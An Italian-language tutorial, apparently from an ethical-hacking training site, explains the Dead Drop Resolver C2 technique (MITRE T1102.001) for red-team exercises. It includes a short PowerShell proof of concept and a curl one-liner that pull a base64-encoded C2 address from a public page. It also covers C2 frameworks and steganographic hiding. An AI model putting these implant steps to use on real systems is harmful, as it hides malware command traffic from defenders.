Dead Drop Resolver: Uso di Servizi Web Legittimi per C2 (T1102.001)
Il Dead Drop Resolver è una tecnica di Command and Control (TA0011) in cui l'attaccante nasconde su servizi web pubblici e legittimi — come Pastebin, GitHub, Twitter, Google Docs, YouTube o forum tecnici — informazioni codificate che puntano alla vera infrastruttura C2. Il malware, una volta eseguito sull'endpoint compromesso, contatta la risorsa pubblica, estrae il dato (spesso obfuscato in base64, incapsulato in commenti HTML, tag hashtag o metadati) e ottiene l'indirizzo del server di controllo effettivo.
La forza operativa della tecnica risiede in tre proprietà. Prima, il camouflage del traffico: il beacon verso pastebin.com o github.com si mimetizza nel rumore di rete atteso da qualunque host aziendale. Seconda, la protezione TLS: il traffico è cifrato end-to-end dal provider, ostacolando l'ispezione DPI. Terza, la resilienza operativa: l'attaccante può ruotare gli indirizzi C2 semplicemente modificando il post pubblico, senza toccare il binario.
MITRE ATT&CK documenta 6 gruppi APT, 15 famiglie malware e 2 campagne che sfruttano attivamente questa tecnica, con attori che spaziano da APT41 e Kimsuky a threat cluster criminali come Rocke. Le contromisure formali si riducono a due controlli: Restrict Web-Based Content (M1021) e Network Intrusion Prevention (M1031), entrambi con efficacia limitata quando il dominio abusato è categorizzato come benigno.
In un esercizio red team, la simulazione di un Dead Drop Resolver serve a validare la capacità del blue team di rilevare C2 nascosto in traffico legittimo. La catena tipica prevede tre passi: pubblicare il resolver, costruire un implant che lo consulti, dimostrare la rotazione dinamica.
Per la pubblicazione del resolver in laboratorio, puoi usare account temporanei su Pastebin (freemium), GitHub Gist (gratuito) o un blog Blogger/WordPress self-hosted (open source). Il contenuto è tipicamente una stringa base64 che decodifica un IP o un FQDN, spesso incapsulata tra marker per facilitare il parsing (es. [BEGIN]<b64>[END]). Un pattern realistico visto in APT41 consiste nel nascondere il tag dentro un commento HTML di una pagina forum, dove il crawler ignora il rumore visivo.
Per l'implant lato endpoint, un PoC minimale in PowerShell dimostra il concetto:
$raw = Invoke-WebRequest -Uri 'https://<forum-pubblico>/thread/123' -UseBasicParsing
$match = [regex]::Match($raw.Content, '\[BEGIN\](.+?)\[END\]')
$c2 = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($match.Groups[1].Value))
Su Linux/macOS l'equivalente è curl -s <url> | grep -oP '\[BEGIN\]\K[^\[]+' | base64 -d. Per esercizi più realistici, Sliver (open source) e Mythic (open source) supportano profili C2 con egress via servizi terzi, mentre Covenant (open source) permette di scrivere listener HTTP custom che leggano dead drop.
Un aspetto spesso sottovalutato è la codifica multi-livello: gli attori più sofisticati non usano base64 puro ma catene come XOR-then-base64, oppure nascondono i byte C2 dentro pixel di immagini caricate su Imgur (tecnica vista in PolyglotDuke). In laboratorio puoi replicarla con Steghide (open source) o zsteg (open source) per LSB su PNG.
Per ESXi, uno scenario emergente prevede un binario ELF che sfrutta esxcli network firewall ruleset list per verificare l'uscita HTTPS e poi wget verso un Gist pubblico. Verifica sempre con il committente lo scope legale prima di pubblicare contenuti C2 anche fittizi su piattaforme terze: molti TOS vietano esplicitamente questo uso, e un account red team bruciato è un IOC regalato al blue team avversario.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo